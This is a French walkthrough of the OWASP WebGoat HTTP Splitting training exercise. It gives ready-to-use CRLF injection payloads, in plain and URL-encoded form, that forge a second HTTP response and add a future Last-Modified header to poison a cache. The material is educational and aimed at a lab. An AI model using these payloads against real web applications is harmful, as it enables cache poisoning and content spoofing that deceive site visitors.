OWASP WebGoat:HTTP Splitting
HTTP Splitting
L'objectif de cet exercice est de montrer comment exploiter un champ de formulaire afin d'y injecter du contenu non initialement prévu.
En exploitant les caractères sauts de ligne du type CR (Carriage Return avec %0d ou \r) et LF (Line Feed avec %0a ou \n), il est possible de modifier et ajouter des en-têtes et le corps de la réponse.
Première étape
Pour ce faire, nous allons entrer le texte suivant dans le champ "Search by country" :
fr Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 47 <html>You've been hacked</html>
Afin qu'il entre sur une seule ligne, nous le formatons en remplaçant les espaces par "%20" et les sauts de ligne par %0d%0a (pour Windows) ou %0a (pour Linux). Cela nous fourni la chaîne suivante :
fr%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0a<html>You've%20been%20hacked</html>
Deuxième étape
Dans cette deuxième étape, nous allons forcer le serveur à recharger le contenu de son cache en modifiant la date de la page (date future), grâce au champ "Last-Modified".
La date initiale est la suivante :
Pour ce faire, nous allons ajouter une ligne à la chaîne précédente. L'objectif est de modifier la date afin de la reporter dans le futur :
fr Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 06 Jun 2016 00:00:00 GMT Content-Length: 47 <html>You've been hacked</html>
Soit, sur une seule ligne :
fr%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aLast-Modified:%20Mon,%2006%20Jun%202016%2000:00:00%20GMT%0aContent-Length:%2047%0a%0a<html>You've%20been%20hacked</html>
Une fois l'exercice terminé, vous devriez obtenir l'écran suivant :